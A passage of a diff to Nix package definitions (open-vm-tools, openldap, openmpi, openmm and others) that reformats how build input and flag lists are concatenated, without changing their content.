+        "TestHTTPSNoClientCerts"
+      ]
+      ++ lib.optionals (!enableWasmEval) [
+        "TestRegoTargetWasmAndTargetPluginDisablesIndexingTopdownStages"
+      ];
     in
     [ "-skip=^${builtins.concatStringsSep "$|^" skippedTests}$" ];
 
diff --git a/pkgs/by-name/op/open-vm-tools/package.nix b/pkgs/by-name/op/open-vm-tools/package.nix
index b24a8459b35b..bc9b352a2284 100644
--- a/pkgs/by-name/op/open-vm-tools/package.nix
+++ b/pkgs/by-name/op/open-vm-tools/package.nix
@@ -73,37 +73,36 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      fuse3
-      glib
-      icu
-      libdnet
-      libdrm
-      libmspack
-      libtirpc
-      libxcrypt
-      libxml2
-      openssl
-      pam
-      procps
-      rpcsvc-proto
-      udev
-      xercesc
-      xmlsec
-    ]
-    ++ optionals withX [
-      gdk-pixbuf-xlib
-      gtk3
-      gtkmm3
-      libX11
-      libXext
-      libXinerama
-      libXi
-      libXrender
-      libXrandr
-      libXtst
-    ];
+  buildInputs = [
+    fuse3
+    glib
+    icu
+    libdnet
+    libdrm
+    libmspack
+    libtirpc
+    libxcrypt
+    libxml2
+    openssl
+    pam
+    procps
+    rpcsvc-proto
+    udev
+    xercesc
+    xmlsec
+  ]
+  ++ optionals withX [
+    gdk-pixbuf-xlib
+    gtk3
+    gtkmm3
+    libX11
+    libXext
+    libXinerama
+    libXi
+    libXrender
+    libXrandr
+    libXtst
+  ];
 
   postPatch = ''
     sed -i Makefile.am \
@@ -136,7 +135,8 @@ stdenv.mkDerivation (finalAttrs: {
     "--without-kernel-modules"
     "--with-udev-rules-dir=${placeholder "out"}/lib/udev/rules.d"
     "--with-fuse=fuse3"
-  ] ++ optional (!withX) "--without-x";
+  ]
+  ++ optional (!withX) "--without-x";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/op/open62541/package.nix b/pkgs/by-name/op/open62541/package.nix
index c64f9bbd10f6..003af800685a 100644
--- a/pkgs/by-name/op/open62541/package.nix
+++ b/pkgs/by-name/op/open62541/package.nix
@@ -43,36 +43,34 @@ stdenv.mkDerivation (finalAttrs: {
     fetchSubmodules = true;
   };
 
-  cmakeFlags =
+  cmakeFlags = [
+    (lib.cmakeFeature "OPEN62541_VERSION" finalAttrs.src.rev)
+    (lib.cmakeFeature "UA_NAMESPACE_ZERO" "FULL")
+    (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic))
+
+    # Note comment near doCheck
+    (lib.cmakeBool "UA_BUILD_UNIT_TESTS" finalAttrs.finalPackage.doCheck)
+    (lib.cmakeBool "UA_ENABLE_ALLOW_REUSEADDR" finalAttrs.finalPackage.doCheck)
+
+    (lib.cmakeBool "UA_BUILD_EXAMPLES" withExamples)
+  ]
+  ++ lib.optionals (withEncryption != false) [
+    (lib.cmakeFeature "UA_ENABLE_ENCRYPTION" (lib.toUpper withEncryption))
+  ];
+
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    python3Packages.python
+  ]
+  ++ lib.optionals withDoc (
+    with python3Packages;
     [
-      (lib.cmakeFeature "OPEN62541_VERSION" finalAttrs.src.rev)
-      (lib.cmakeFeature "UA_NAMESPACE_ZERO" "FULL")
-      (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic))
-
-      # Note comment near doCheck
-      (lib.cmakeBool "UA_BUILD_UNIT_TESTS" finalAttrs.finalPackage.doCheck)
-      (lib.cmakeBool "UA_ENABLE_ALLOW_REUSEADDR" finalAttrs.finalPackage.doCheck)
-
-      (lib.cmakeBool "UA_BUILD_EXAMPLES" withExamples)
+      sphinx
+      sphinx_rtd_theme
+      graphviz-nox
     ]
-    ++ lib.optionals (withEncryption != false) [
-      (lib.cmakeFeature "UA_ENABLE_ENCRYPTION" (lib.toUpper withEncryption))
-    ];
-
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      python3Packages.python
-    ]
-    ++ lib.optionals withDoc (
-      with python3Packages;
-      [
-        sphinx
-        sphinx_rtd_theme
-        graphviz-nox
-      ]
-    );
+  );
 
   buildInputs = lib.optional (withEncryption != false) encryptionBackend;
 
diff --git a/pkgs/by-name/op/openalSoft/package.nix b/pkgs/by-name/op/openalSoft/package.nix
index c51300ebfb79..d81eef7fcd92 100644
--- a/pkgs/by-name/op/openalSoft/package.nix
+++ b/pkgs/by-name/op/openalSoft/package.nix
@@ -41,19 +41,18 @@ stdenv.mkDerivation rec {
     ++ lib.optional pipewireSupport pipewire
     ++ lib.optional pulseSupport libpulseaudio;
 
-  cmakeFlags =
-    [
-      # Automatically links dependencies without having to rely on dlopen, thus
-      # removes the need for NIX_LDFLAGS.
-      "-DALSOFT_DLOPEN=OFF"
+  cmakeFlags = [
+    # Automatically links dependencies without having to rely on dlopen, thus
+    # removes the need for NIX_LDFLAGS.
+    "-DALSOFT_DLOPEN=OFF"
 
-      # allow oal-soft to find its own data files (e.g. HRTF profiles)
-      "-DALSOFT_SEARCH_INSTALL_DATADIR=1"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # https://github.com/NixOS/nixpkgs/issues/183774
-      "-DALSOFT_BACKEND_OSS=OFF"
-    ];
+    # allow oal-soft to find its own data files (e.g. HRTF profiles)
+    "-DALSOFT_SEARCH_INSTALL_DATADIR=1"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # https://github.com/NixOS/nixpkgs/issues/183774
+    "-DALSOFT_BACKEND_OSS=OFF"
+  ];
 
   passthru.updateScript = nix-update-script {
     extraArgs = [
diff --git a/pkgs/by-name/op/openapi-python-client/package.nix b/pkgs/by-name/op/openapi-python-client/package.nix
index 834f6ff85784..339001fb646e 100644
--- a/pkgs/by-name/op/openapi-python-client/package.nix
+++ b/pkgs/by-name/op/openapi-python-client/package.nix
@@ -22,13 +22,12 @@ python3Packages.buildPythonApplication rec {
     hash = "sha256-EAHwICY8bjqYt0yGSG+SMcyTqeftfGCGTE4pJE120Mo=";
   };
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      darwin.ps
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    darwin.ps
+  ];
 
   build-system = with python3Packages; [
     hatchling
diff --git a/pkgs/by-name/op/opencc/package.nix b/pkgs/by-name/op/opencc/package.nix
index 54360185cd8f..b1b075679c1b 100644
--- a/pkgs/by-name/op/opencc/package.nix
+++ b/pkgs/by-name/op/opencc/package.nix
@@ -20,14 +20,13 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-JBTegQs9ALp4LdKKYMNp9GYEgqR9O8IkX6LqatvaTic=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      python3
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      opencc # opencc_dict
-    ];
+  nativeBuildInputs = [
+    cmake
+    python3
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    opencc # opencc_dict
+  ];
 
   buildInputs = [
     rapidjson
diff --git a/pkgs/by-name/op/opencl-clang/package.nix b/pkgs/by-name/op/opencl-clang/package.nix
index 0d31c8f5b920..5692510a7188 100644
--- a/pkgs/by-name/op/opencl-clang/package.nix
+++ b/pkgs/by-name/op/opencl-clang/package.nix
@@ -14,13 +14,11 @@ let
   addPatches =
     component: pkg:
     pkg.overrideAttrs (oldAttrs: {
-      postPatch =
-        oldAttrs.postPatch or ""
-        + ''
-          for p in ${passthru.patchesOut}/${component}/*; do
-            patch -p1 -i "$p"
-          done
-        '';
+      postPatch = oldAttrs.postPatch or "" + ''
+        for p in ${passthru.patchesOut}/${component}/*; do
+          patch -p1 -i "$p"
+        done
+      '';
     });
 
   llvmPkgs = llvmPackages_15;
@@ -73,18 +71,17 @@ let
       ./opencl-headers-dir.patch
     ];
 
-    postPatch =
-      ''
-        # fix not be able to find clang from PATH
-        substituteInPlace cl_headers/CMakeLists.txt \
-          --replace-fail " NO_DEFAULT_PATH" ""
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        # Uses linker flags that are not supported on Darwin.
-        sed -i -e '/SET_LINUX_EXPORTS_FILE/d' CMakeLists.txt
-        substituteInPlace CMakeLists.txt \
-          --replace-fail '-Wl,--no-undefined' ""
-      '';
+    postPatch = ''
+      # fix not be able to find clang from PATH
+      substituteInPlace cl_headers/CMakeLists.txt \
+        --replace-fail " NO_DEFAULT_PATH" ""
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      # Uses linker flags that are not supported on Darwin.
+      sed -i -e '/SET_LINUX_EXPORTS_FILE/d' CMakeLists.txt
+      substituteInPlace CMakeLists.txt \
+        --replace-fail '-Wl,--no-undefined' ""
+    '';
   };
 in
 
diff --git a/pkgs/by-name/op/openclonk/package.nix b/pkgs/by-name/op/openclonk/package.nix
index 0626cf498086..cc9208474471 100644
--- a/pkgs/by-name/op/openclonk/package.nix
+++ b/pkgs/by-name/op/openclonk/package.nix
@@ -60,14 +60,13 @@ stdenv.mkDerivation {
     })
   ];
 
-  postInstall =
-    ''
-      mv $out/games/openclonk $out/bin
-      rm -r $out/games
-    ''
-    + lib.optionalString enableSoundtrack ''
-      ln -sv ${soundtrack_src} $out/share/games/openclonk/Music.ocg
-    '';
+  postInstall = ''
+    mv $out/games/openclonk $out/bin
+    rm -r $out/games
+  ''
+  + lib.optionalString enableSoundtrack ''
+    ln -sv ${soundtrack_src} $out/share/games/openclonk/Music.ocg
+  '';
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/op/opencollada/package.nix b/pkgs/by-name/op/opencollada/package.nix
index 58d743702fee..85a69f825868 100644
--- a/pkgs/by-name/op/opencollada/package.nix
+++ b/pkgs/by-name/op/opencollada/package.nix
@@ -30,16 +30,15 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  postPatch =
-    ''
-      # Drop blanket -Werror as it tends to fail on newer toolchain for
-      # minor warnings. In this case it was gcc-13 build failure.
-      substituteInPlace DAEValidator/CMakeLists.txt --replace-fail ' -Werror"' '"'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace GeneratedSaxParser/src/GeneratedSaxParserUtils.cpp \
-        --replace math.h cmath
-    '';
+  postPatch = ''
+    # Drop blanket -Werror as it tends to fail on newer toolchain for
+    # minor warnings. In this case it was gcc-13 build failure.
+    substituteInPlace DAEValidator/CMakeLists.txt --replace-fail ' -Werror"' '"'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace GeneratedSaxParser/src/GeneratedSaxParserUtils.cpp \
+      --replace math.h cmath
+  '';
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/op/openctm/package.nix b/pkgs/by-name/op/openctm/package.nix
index 84c4f11dfdea..25314ca6b981 100644
--- a/pkgs/by-name/op/openctm/package.nix
+++ b/pkgs/by-name/op/openctm/package.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     libglut
     libGLU
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ gtk2 ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ gtk2 ];
 
   postPatch =
     lib.optionalString stdenv.hostPlatform.isLinux ''
diff --git a/pkgs/by-name/op/opendht/package.nix b/pkgs/by-name/op/opendht/package.nix
index cecc8ee47b0b..afc82242f4ba 100644
--- a/pkgs/by-name/op/opendht/package.nix
+++ b/pkgs/by-name/op/opendht/package.nix
@@ -35,22 +35,21 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      asio
-      fmt
-      nettle
-      gnutls
-      msgpack-cxx
-      readline
-      libargon2
-    ]
-    ++ lib.optionals enableProxyServerAndClient [
-      jsoncpp
-      restinio
-      llhttp
-      openssl
-    ];
+  buildInputs = [
+    asio
+    fmt
+    nettle
+    gnutls
+    msgpack-cxx
+    readline
+    libargon2
+  ]
+  ++ lib.optionals enableProxyServerAndClient [
+    jsoncpp
+    restinio
+    llhttp
+    openssl
+  ];
 
   cmakeFlags =
     lib.optionals enableProxyServerAndClient [
diff --git a/pkgs/by-name/op/opendkim/package.nix b/pkgs/by-name/op/opendkim/package.nix
index d61d03069f02..37ab8aac3ed7 100644
--- a/pkgs/by-name/op/opendkim/package.nix
+++ b/pkgs/by-name/op/opendkim/package.nix
@@ -27,7 +27,8 @@ stdenv.mkDerivation rec {
     "--with-milter=${libmilter}"
     "ac_cv_func_malloc_0_nonnull=yes"
     "ac_cv_func_realloc_0_nonnull=yes"
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "--with-unbound=${unbound}";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--with-unbound=${unbound}";
 
   nativeBuildInputs = [
     autoreconfHook
@@ -40,7 +41,8 @@ stdenv.mkDerivation rec {
     openssl
     libmilter
     perl
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin unbound;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin unbound;
 
   postInstall = ''
     wrapProgram $out/sbin/opendkim-genkey \
diff --git a/pkgs/by-name/op/openfortivpn/package.nix b/pkgs/by-name/op/openfortivpn/package.nix
index 45ca1758d881..fc57a566c3fd 100644
--- a/pkgs/by-name/op/openfortivpn/package.nix
+++ b/pkgs/by-name/op/openfortivpn/package.nix
@@ -35,21 +35,19 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optional withSystemd systemd
-    ++ lib.optional withPpp ppp;
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optional withSystemd systemd
+  ++ lib.optional withPpp ppp;
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-    ]
-    ++ lib.optional withSystemd "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
-    ++ lib.optional withPpp "--with-pppd=${ppp}/bin/pppd"
-    # configure: error: cannot check for file existence when cross compiling
-    ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "--disable-proc";
+  configureFlags = [
+    "--sysconfdir=/etc"
+  ]
+  ++ lib.optional withSystemd "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
+  ++ lib.optional withPpp "--with-pppd=${ppp}/bin/pppd"
+  # configure: error: cannot check for file existence when cross compiling
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "--disable-proc";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/op/openfpgaloader/package.nix b/pkgs/by-name/op/openfpgaloader/package.nix
index fed0b254f290..90dd9140038a 100644
--- a/pkgs/by-name/op/openfpgaloader/package.nix
+++ b/pkgs/by-name/op/openfpgaloader/package.nix
@@ -27,16 +27,15 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      hidapi
-      libftdi1
-      libusb1
-      zlib
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform udev) [
-      udev
-    ];
+  buildInputs = [
+    hidapi
+    libftdi1
+    libusb1
+    zlib
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform udev) [
+    udev
+  ];
 
   meta = {
     description = "Universal utility for programming FPGAs";
diff --git a/pkgs/by-name/op/openh264/package.nix b/pkgs/by-name/op/openh264/package.nix
index f62ea69a3e21..a703f5c18953 100644
--- a/pkgs/by-name/op/openh264/package.nix
+++ b/pkgs/by-name/op/openh264/package.nix
@@ -43,13 +43,12 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      gtest
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isWindows [
-      windows.pthreads
-    ];
+  buildInputs = [
+    gtest
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isWindows [
+    windows.pthreads
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/op/openhmd/package.nix b/pkgs/by-name/op/openhmd/package.nix
index f2d8b845d7c2..01fc1d072edf 100644
--- a/pkgs/by-name/op/openhmd/package.nix
+++ b/pkgs/by-name/op/openhmd/package.nix
@@ -31,15 +31,14 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      hidapi
-    ]
-    ++ lib.optionals withExamples [
-      SDL2
-      glew
-      libGL
-    ];
+  buildInputs = [
+    hidapi
+  ]
+  ++ lib.optionals withExamples [
+    SDL2
+    glew
+    libGL
+  ];
 
   cmakeFlags = [
     "-DBUILD_BOTH_STATIC_SHARED_LIBS=ON"
diff --git a/pkgs/by-name/op/openimagedenoise/package.nix b/pkgs/by-name/op/openimagedenoise/package.nix
index d70de0343f30..98488c428ffc 100644
--- a/pkgs/by-name/op/openimagedenoise/package.nix
+++ b/pkgs/by-name/op/openimagedenoise/package.nix
@@ -30,22 +30,22 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail "set(CMAKE_CXX_STANDARD 11)" "set(CMAKE_CXX_STANDARD 14)"
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      python3
-      ispc
-    ]
-    ++ lib.optional cudaSupport cudaPackages.cuda_nvcc
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcodebuild ];
+  nativeBuildInputs = [
+    cmake
+    python3
+    ispc
+  ]
+  ++ lib.optional cudaSupport cudaPackages.cuda_nvcc
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcodebuild ];
 
-  buildInputs =
-    [ tbb ]
+  buildInputs = [
+    tbb
+  ]
 
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_cudart
-      cudaPackages.cuda_cccl
-    ];
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_cudart
+    cudaPackages.cuda_cccl
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "OIDN_DEVICE_CUDA" cudaSupport)
diff --git a/pkgs/by-name/op/openjpeg/package.nix b/pkgs/by-name/op/openjpeg/package.nix
index 8462ce052540..611f33f2b8fd 100644
--- a/pkgs/by-name/op/openjpeg/package.nix
+++ b/pkgs/by-name/op/openjpeg/package.nix
@@ -78,25 +78,25 @@ stdenv.mkDerivation rec {
     "-DBUILD_VIEWER=OFF"
     "-DBUILD_JAVA=OFF"
     (lib.cmakeBool "BUILD_TESTING" doCheck)
-  ] ++ lib.optional doCheck "-DOPJ_DATA_ROOT=${test-data}";
+  ]
+  ++ lib.optional doCheck "-DOPJ_DATA_ROOT=${test-data}";
 
   nativeBuildInputs = [
     cmake
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libpng
-      libtiff
-      zlib
-      lcms2
-    ]
-    ++ lib.optionals jpipServerSupport [
-      curl
-      fcgi
-    ]
-    ++ lib.optional (jpipLibSupport) jdk;
+  buildInputs = [
+    libpng
+    libtiff
+    zlib
+    lcms2
+  ]
+  ++ lib.optionals jpipServerSupport [
+    curl
+    fcgi
+  ]
+  ++ lib.optional (jpipLibSupport) jdk;
 
   # tests did fail on powerpc64
   doCheck = !stdenv.hostPlatform.isPower64 && stdenv.buildPlatform.canExecute stdenv.hostPlatform;
diff --git a/pkgs/by-name/op/openldap/package.nix b/pkgs/by-name/op/openldap/package.nix
index 7a9300bb0fba..e42a6411de3c 100644
--- a/pkgs/by-name/op/openldap/package.nix
+++ b/pkgs/by-name/op/openldap/package.nix
@@ -53,40 +53,38 @@ stdenv.mkDerivation rec {
     groff
   ];
 
-  buildInputs =
-    [
-      (cyrus_sasl.override {
-        inherit openssl;
-      })
-      libtool
-      openssl
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      libxcrypt # causes linking issues on *-darwin
-    ]
-    ++ lib.optionals withModules [
-      libsodium
-    ]
-    ++ lib.optionals withSystemd [
-      systemdMinimal
-    ];
+  buildInputs = [
+    (cyrus_sasl.override {
+      inherit openssl;
+    })
+    libtool
+    openssl
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    libxcrypt # causes linking issues on *-darwin
+  ]
+  ++ lib.optionals withModules [
+    libsodium
+  ]
+  ++ lib.optionals withSystemd [
+    systemdMinimal
+  ];
 
   preConfigure = lib.optionalString (lib.versionAtLeast stdenv.hostPlatform.darwinMinVersion "11") ''
     MACOSX_DEPLOYMENT_TARGET=10.16
   '';
 
-  configureFlags =
-    [
-      "--enable-crypt"
-      "--enable-overlays"
-      (lib.enableFeature withModules "argon2")
-      (lib.enableFeature withModules "modules")
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "--with-yielding_select=yes"
-      "ac_cv_func_memcmp_working=yes"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isFreeBSD "--with-pic";
+  configureFlags = [
+    "--enable-crypt"
+    "--enable-overlays"
+    (lib.enableFeature withModules "argon2")
+    (lib.enableFeature withModules "modules")
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "--with-yielding_select=yes"
+    "ac_cv_func_memcmp_working=yes"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isFreeBSD "--with-pic";
 
   env.NIX_CFLAGS_COMPILE = toString [ "-DLDAPI_SOCK=\"/run/openldap/ldapi\"" ];
 
diff --git a/pkgs/by-name/op/openmm/package.nix b/pkgs/by-name/op/openmm/package.nix
index 0ffc4da34d1f..1ad1d7ce23b7 100644
--- a/pkgs/by-name/op/openmm/package.nix
+++ b/pkgs/by-name/op/openmm/package.nix
@@ -37,28 +37,28 @@ stdenv.mkDerivation rec {
       serialization/tests/TestSerializeIntegrator.cpp
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      gfortran
-      swig
-      doxygen
-      python3Packages.python
-    ]
-    ++ lib.optionals enablePython [
-      python3Packages.build
-      python3Packages.installer
-      python3Packages.wheel
-    ]
-    ++ lib.optional enableCuda addDriverRunpath;
+  nativeBuildInputs = [
+    cmake
+    gfortran
+    swig
+    doxygen
+    python3Packages.python
+  ]
+  ++ lib.optionals enablePython [
+    python3Packages.build
+    python3Packages.installer
+    python3Packages.wheel
+  ]
+  ++ lib.optional enableCuda addDriverRunpath;
 
-  buildInputs =
-    [ fftwSinglePrec ]
-    ++ lib.optionals enableOpencl [
-      ocl-icd
-      opencl-headers
-    ]
-    ++ lib.optional enableCuda cudaPackages.cudatoolkit;
+  buildInputs = [
+    fftwSinglePrec
+  ]
+  ++ lib.optionals enableOpencl [
+    ocl-icd
+    opencl-headers
+  ]
+  ++ lib.optional enableCuda cudaPackages.cudatoolkit;
 
   propagatedBuildInputs = lib.optionals enablePython (
     with python3Packages;
@@ -70,34 +70,33 @@ stdenv.mkDerivation rec {
     ]
   );
 
-  cmakeFlags =
-    [
-      "-DBUILD_TESTING=ON"
-      "-DOPENMM_BUILD_AMOEBA_PLUGIN=ON"
-      "-DOPENMM_BUILD_CPU_LIB=ON"
-      "-DOPENMM_BUILD_C_AND_FORTRAN_WRAPPERS=ON"
-      "-DOPENMM_BUILD_DRUDE_PLUGIN=ON"
-      "-DOPENMM_BUILD_PME_PLUGIN=ON"
-      "-DOPENMM_BUILD_RPMD_PLUGIN=ON"
-      "-DOPENMM_BUILD_SHARED_LIB=ON"
-    ]
-    ++ lib.optionals enablePython [
-      "-DOPENMM_BUILD_PYTHON_WRAPPERS=ON"
-    ]
-    ++ lib.optionals enableOpencl [
-      "-DOPENMM_BUILD_OPENCL_LIB=ON"
-      "-DOPENMM_BUILD_AMOEBA_OPENCL_LIB=ON"
-      "-DOPENMM_BUILD_DRUDE_OPENCL_LIB=ON"
-      "-DOPENMM_BUILD_RPMD_OPENCL_LIB=ON"
-    ]
-    ++ lib.optionals enableCuda [
-      "-DCUDA_SDK_ROOT_DIR=${cudaPackages.cudatoolkit}"
-      "-DOPENMM_BUILD_AMOEBA_CUDA_LIB=ON"
-      "-DOPENMM_BUILD_CUDA_LIB=ON"
-      "-DOPENMM_BUILD_DRUDE_CUDA_LIB=ON"
-      "-DOPENMM_BUILD_RPMD_CUDA_LIB=ON"
-      "-DCMAKE_LIBRARY_PATH=${cudaPackages.cudatoolkit}/lib64/stubs"
-    ];
+  cmakeFlags = [
+    "-DBUILD_TESTING=ON"
+    "-DOPENMM_BUILD_AMOEBA_PLUGIN=ON"
+    "-DOPENMM_BUILD_CPU_LIB=ON"
+    "-DOPENMM_BUILD_C_AND_FORTRAN_WRAPPERS=ON"
+    "-DOPENMM_BUILD_DRUDE_PLUGIN=ON"
+    "-DOPENMM_BUILD_PME_PLUGIN=ON"
+    "-DOPENMM_BUILD_RPMD_PLUGIN=ON"
+    "-DOPENMM_BUILD_SHARED_LIB=ON"
+  ]
+  ++ lib.optionals enablePython [
+    "-DOPENMM_BUILD_PYTHON_WRAPPERS=ON"
+  ]
+  ++ lib.optionals enableOpencl [
+    "-DOPENMM_BUILD_OPENCL_LIB=ON"
+    "-DOPENMM_BUILD_AMOEBA_OPENCL_LIB=ON"
+    "-DOPENMM_BUILD_DRUDE_OPENCL_LIB=ON"
+    "-DOPENMM_BUILD_RPMD_OPENCL_LIB=ON"
+  ]
+  ++ lib.optionals enableCuda [
+    "-DCUDA_SDK_ROOT_DIR=${cudaPackages.cudatoolkit}"
+    "-DOPENMM_BUILD_AMOEBA_CUDA_LIB=ON"
+    "-DOPENMM_BUILD_CUDA_LIB=ON"
+    "-DOPENMM_BUILD_DRUDE_CUDA_LIB=ON"
+    "-DOPENMM_BUILD_RPMD_CUDA_LIB=ON"
+    "-DCMAKE_LIBRARY_PATH=${cudaPackages.cudatoolkit}/lib64/stubs"
+  ];
 
   postInstall = lib.strings.optionalString enablePython ''
     export OPENMM_LIB_PATH=$out/lib
diff --git a/pkgs/by-name/op/openmolcas/package.nix b/pkgs/by-name/op/openmolcas/package.nix
index 544bd7f6a8cb..c32fce9c19af 100644
--- a/pkgs/by-name/op/openmolcas/package.nix
+++ b/pkgs/by-name/op/openmolcas/package.nix
@@ -105,21 +105,20 @@ stdenv.mkDerivation rec {
     autoPatchelfHook
   ];
 
-  buildInputs =
-    [
-      hdf5-cpp
-      python
-      armadillo
-      libxc
-      gsl.dev
-      boost
-      blas-ilp64
-      lapack-ilp64
-    ]
-    ++ lib.optionals enableMpi [
-      mpi
-      globalarrays
-    ];
+  buildInputs = [
+    hdf5-cpp
+    python
+    armadillo
+    libxc
+    gsl.dev
+    boost
+    blas-ilp64
+    lapack-ilp64
+  ]
+  ++ lib.optionals enableMpi [
+    mpi
+    globalarrays
+  ];
 
   passthru = lib.optionalAttrs enableMpi { inherit mpi; };
 
@@ -139,13 +138,12 @@ stdenv.mkDerivation rec {
     (lib.strings.cmakeBool "MPI" enableMpi)
   ];
 
-  preConfigure =
-    ''
-      cmakeFlagsArray+=("-DLINALG_LIBRARIES=-lblas -llapack")
-    ''
-    + lib.optionalString enableMpi ''
-      export GAROOT=${globalarrays};
-    '';
+  preConfigure = ''
+    cmakeFlagsArray+=("-DLINALG_LIBRARIES=-lblas -llapack")
+  ''
+  + lib.optionalString enableMpi ''
+    export GAROOT=${globalarrays};
+  '';
 
   # The Makefile will install pymolcas during the build grrr.
   postConfigure = ''
diff --git a/pkgs/by-name/op/openmpi/package.nix b/pkgs/by-name/op/openmpi/package.nix
index 5c72a6dbbc7f..c32656f9810d 100644
--- a/pkgs/by-name/op/openmpi/package.nix
+++ b/pkgs/by-name/op/openmpi/package.nix
@@ -91,37 +91,35 @@ stdenv.mkDerivation (finalAttrs: {
     "dev"
   ];
 
-  buildInputs =
-    [
-      zlib
-      libevent
-      hwloc
-      prrte
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libnl
-      numactl
-      pmix
-      ucx
-      ucc
-    ]
-    ++ lib.optionals cudaSupport [ cudaPackages.cuda_cudart ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux || stdenv.hostPlatform.isFreeBSD) [ rdma-core ]
-    # needed for internal pmix
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [ python3 ]
-    ++ lib.optionals fabricSupport [
-      libpsm2
-      libfabric
-    ];
+  buildInputs = [
+    zlib
+    libevent
+    hwloc
+    prrte
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libnl
+    numactl
+    pmix
+    ucx
+    ucc
+  ]
+  ++ lib.optionals cudaSupport [ cudaPackages.cuda_cudart ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux || stdenv.hostPlatform.isFreeBSD) [ rdma-core ]
+  # needed for internal pmix
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [ python3 ]
+  ++ lib.optionals fabricSupport [
+    libpsm2
+    libfabric
+  ];
 
-  nativeBuildInputs =
-    [
-      perl
-      removeReferencesTo
-      makeWrapper
-    ]
-    ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ]
-    ++ lib.optionals fortranSupport [ gfortran ];
+  nativeBuildInputs = [
+    perl
+    removeReferencesTo
+    makeWrapper
+  ]
+  ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ]
+  ++ lib.optionals fortranSupport [ gfortran ];
 
   configureFlags = [
     (lib.enableFeature cudaSupport "mca-dso")
@@ -142,7 +140,8 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.withFeatureAs fabricSupport "ofi" (lib.getDev libfabric))
     # The flag --without-ofi-libdir is not supported from some reason, so we
     # don't use lib.withFeatureAs
-  ] ++ lib.optionals fabricSupport [ "--with-ofi-libdir=${lib.getLib libfabric}/lib" ];
+  ]
+  ++ lib.optionals fabricSupport [ "--with-ofi-libdir=${lib.getLib libfabric}/lib" ];
 
   enableParallelBuilding = true;
 
